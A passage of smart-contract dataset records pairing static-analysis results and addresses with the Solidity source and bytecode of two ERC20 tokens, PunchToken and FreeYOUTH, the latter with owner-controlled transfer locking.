cd60e51b815260040161037a90610df3565b61088d8383836109e2565b6001600160a01b038316600090815260208190526040812080548392906108b5908490610d8f565b90915550506001600160a01b038216600090815260208190526040812080548392906108e2908490610ddb565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161082991815260200190565b6001600160a01b0382166109545760405162461bcd60e51b815260040161037a90610df3565b610960600083836109e2565b80600260008282546109729190610ddb565b90915550506001600160a01b0382166000908152602081905260408120805483929061099f908490610ddb565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161077c565b600554604051633d70e7e560e11b81527f75a31d1ce8e5f9892188befc328d3b9bd3fa5037457e881abc21f388471b8d9660048201526001600160a01b0390911690637ae1cfca9060240160206040518083038186803b158015610a4557600080fd5b505afa158015610a59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7d9190610e16565b15610ab65760405162461bcd60e51b815260206004820152600960248201526824a9afa32927ad22a760b91b604482015260640161037a565b6005546040516001600160a01b0390911690637ae1cfca90610aff907f1a7261d3a36c4ce4235d10859911c9444a6963a3591ec5725b96871d9810626b90600490602001610e38565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401610b3391815260200190565b60206040518083038186803b158015610b4b57600080fd5b505afa158015610b5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b839190610e16565b156105c85760405162461bcd60e51b815260206004820152600960248201526824a9afa32927ad22a760b91b604482015260640161037a565b60c280610ee283390190565b60005b83811015610be3578181015183820152602001610bcb565b83811115610bf2576000848401525b50505050565b6020815260008251806020840152610c17816040850160208701610bc8565b601f01601f19169190910160400192915050565b600060208284031215610c3d57600080fd5b5035919050565b80356001600160a01b0381168114610c5b57600080fd5b919050565b60008060408385031215610c7357600080fd5b610c7c83610c44565b946020939093013593505050565b600080600060608486031215610c9f57600080fd5b610ca884610c44565b9250610cb660208501610c44565b9150604084013590509250925092565b600060208284031215610cd857600080fd5b610ce182610c44565b9392505050565b60008060408385031215610cfb57600080fd5b610d0483610c44565b9150610d1260208401610c44565b90509250929050565b600181811c90821680610d2f57607f821691505b60208210811415610d5057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015610da157610da1610d79565b500390565b60008451610db8818460208901610bc8565b845190830190610dcc818360208901610bc8565b01928352505060200192915050565b60008219821115610dee57610dee610d79565b500190565b6020808252600990820152682d22a927afa0a2222960b91b604082015260600190565b600060208284031215610e2857600080fd5b81518015158114610ce157600080fd5b828152600060206000845481600182811c915080831680610e5a57607f831692505b858310811415610e7857634e487b7160e01b85526022600452602485fd5b808015610e8c5760018114610ea157610ed2565b60ff1985168988015283890187019550610ed2565b60008a81526020902060005b85811015610ec85781548b82018a0152908401908801610ead565b505086848a010195505b5093999850505050505050505056fe6080604052348015600f57600080fd5b506040516100c23803806100c2833981016040819052602c916089565b6040516308a1eee160e01b8152600481018290526001600160a01b038316906308a1eee190602401600060405180830381600087803b158015606d57600080fd5b505af11580156080573d6000803e3d6000fd5b50600092505050ff5b60008060408385031215609b57600080fd5b82516001600160a01b038116811460b157600080fd5b602093909301519294929350505056fea26469706673582212200b9d4704dcf13dfd9787296fefb091302153358bea4f3d74f0ba4e11a9cb95aa64736f6c63430008090033
|
{"success": true, "error": null, "results": {}}
| 3,956 |
0x32eb7fa944ad61b0cf093499af12f35a479315a2
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 value, address token, bytes data) public;
}
contract PunchToken is StandardToken {
string public symbol;
string public name;
uint8 public decimals;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "PUN";
name = "Punch Token";
decimals = 18;
totalSupply_ = 60000000000000000000000000000;
balances[0xC3F6110EbA4d001bAB48E05dbC48166d1624402b] = totalSupply_;
emit Transfer(address(0), 0xC3F6110EbA4d001bAB48E05dbC48166d1624402b, totalSupply_);
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address _spender, uint256 _value, bytes data) public returns (bool) {
approve(_spender,_value);
ApproveAndCallFallBack(_spender).receiveApproval(msg.sender, _value, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063313ce56714610264578063661884631461029557806370a08231146102fa57806395d89b4114610351578063a9059cbb146103e1578063cae9ca5114610446578063d73dd623146104f1578063dd62ed3e14610556575b600080fd5b3480156100cb57600080fd5b506100d46105cd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066b565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c961075d565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610767565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610b21565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a157600080fd5b506102e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b34565b604051808215151515815260200191505060405180910390f35b34801561030657600080fd5b5061033b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc5565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b50610366610e0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103ed57600080fd5b5061042c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eab565b604051808215151515815260200191505060405180910390f35b34801561045257600080fd5b506104d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506110ca565b604051808215151515815260200191505060405180910390f35b3480156104fd57600080fd5b5061053c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061123e565b604051808215151515815260200191505060405180910390f35b34801561056257600080fd5b506105b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061143a565b6040518082815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106635780601f1061063857610100808354040283529160200191610663565b820191906000526020600020905b81548152906001019060200180831161064657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107a457600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107f157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561087c57600080fd5b6108cd826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610960826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114da90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c45576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd9565b610c5883826114c190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ea35780601f10610e7857610100808354040283529160200191610ea3565b820191906000526020600020905b815481529060010190602001808311610e8657829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ee857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f3557600080fd5b610f86826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611019826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114da90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110d6848461066b565b508373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111cc5780820151818401526020810190506111b1565b50505050905090810190601f1680156111f95780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561121b57600080fd5b505af115801561122f573d6000803e3d6000fd5b50505050600190509392505050565b60006112cf82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114da90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156114cf57fe5b818303905092915050565b600081830190508281101515156114ed57fe5b809050929150505600a165627a7a723058208cb2177344396a9c2f6eefc3891c97270a15d17ad59af5a45a9ef85252779e1d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,957 |
0xb6DfC267b83e58e00E7B58F465c1C0fdeD81A0C9
|
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'FreeYOUTH' token contract
//
// Symbol : 'FreeYOUTH'
// Name : 'FreeYOUTH'
// Total supply: '37274900'
// Decimals : '18'
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
// allowedAddresses will be able to transfer even when locked
// lockedAddresses will *not* be able to transfer even when *not locked*
mapping(address => bool) public allowedAddresses;
mapping(address => bool) public lockedAddresses;
bool public locked = true;
function allowAddress(address _addr, bool _allowed) public onlyOwner {
require(_addr != owner);
allowedAddresses[_addr] = _allowed;
}
function lockAddress(address _addr, bool _locked) public onlyOwner {
require(_addr != owner);
lockedAddresses[_addr] = _locked;
}
function setLocked(bool _locked) public onlyOwner {
locked = _locked;
}
function canTransfer(address _addr) public constant returns (bool) {
if(locked){
if(!allowedAddresses[_addr]&&_addr!=owner) return false;
}else if(lockedAddresses[_addr]) return false;
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract FreeYOUTH is BurnableToken {
string public constant name = "FreeYOUTH";
string public constant symbol = "FreeYOUTH";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 37274900 * (10 ** uint256(decimals));
// Constructors
function FreeYOUTH () {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
allowedAddresses[owner] = true;
}
}
|
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461012c578063095ea7b3146101b657806318160ddd146101ee578063211e28b61461021557806323b872dd14610231578063313ce5671461025b578063378dc3dc146102705780634120657a1461028557806342966c68146102a65780634edc689d146102be57806366188463146102e457806370a082311461030857806378fc3cb3146103295780638da5cb5b1461034a57806395d89b411461012c578063a5bbd67a1461037b578063a9059cbb1461039c578063cf309012146103c0578063d73dd623146103d5578063dd62ed3e146103f9578063f226003114610420578063f2fde38b14610446575b600080fd5b34801561013857600080fd5b50610141610467565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017b578181015183820152602001610163565b50505050905090810190601f1680156101a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c257600080fd5b506101da600160a060020a036004351660243561049e565b604080519115158252519081900360200190f35b3480156101fa57600080fd5b50610203610504565b60408051918252519081900360200190f35b34801561022157600080fd5b5061022f600435151561050a565b005b34801561023d57600080fd5b506101da600160a060020a0360043581169060243516604435610534565b34801561026757600080fd5b5061020361066a565b34801561027c57600080fd5b5061020361066f565b34801561029157600080fd5b506101da600160a060020a036004351661067e565b3480156102b257600080fd5b5061022f600435610693565b3480156102ca57600080fd5b5061022f600160a060020a03600435166024351515610792565b3480156102f057600080fd5b506101da600160a060020a03600435166024356107ef565b34801561031457600080fd5b50610203600160a060020a03600435166108df565b34801561033557600080fd5b506101da600160a060020a03600435166108fe565b34801561035657600080fd5b5061035f610986565b60408051600160a060020a039092168252519081900360200190f35b34801561038757600080fd5b506101da600160a060020a0360043516610995565b3480156103a857600080fd5b506101da600160a060020a03600435166024356109aa565b3480156103cc57600080fd5b506101da610a85565b3480156103e157600080fd5b506101da600160a060020a0360043516602435610a8e565b34801561040557600080fd5b50610203600160a060020a0360043581169060243516610b27565b34801561042c57600080fd5b5061022f600160a060020a03600435166024351515610b52565b34801561045257600080fd5b5061022f600160a060020a0360043516610baf565b60408051808201909152600981527f46726565594f5554480000000000000000000000000000000000000000000000602082015281565b336000818152600660209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60005481565b600154600160a060020a0316331461052157600080fd5b6005805460ff1916911515919091179055565b600080600160a060020a038416151561054c57600080fd5b610555336108fe565b151561056057600080fd5b50600160a060020a038416600081815260066020908152604080832033845282528083205493835260029091529020546105a0908463ffffffff610c4416565b600160a060020a0380871660009081526002602052604080822093909355908616815220546105d5908463ffffffff610c5616565b600160a060020a0385166000908152600260205260409020556105fe818463ffffffff610c4416565b600160a060020a03808716600081815260066020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b601281565b6a1ed54460c1ebb907d0000081565b60036020526000908152604090205460ff1681565b60008082116106a157600080fd5b336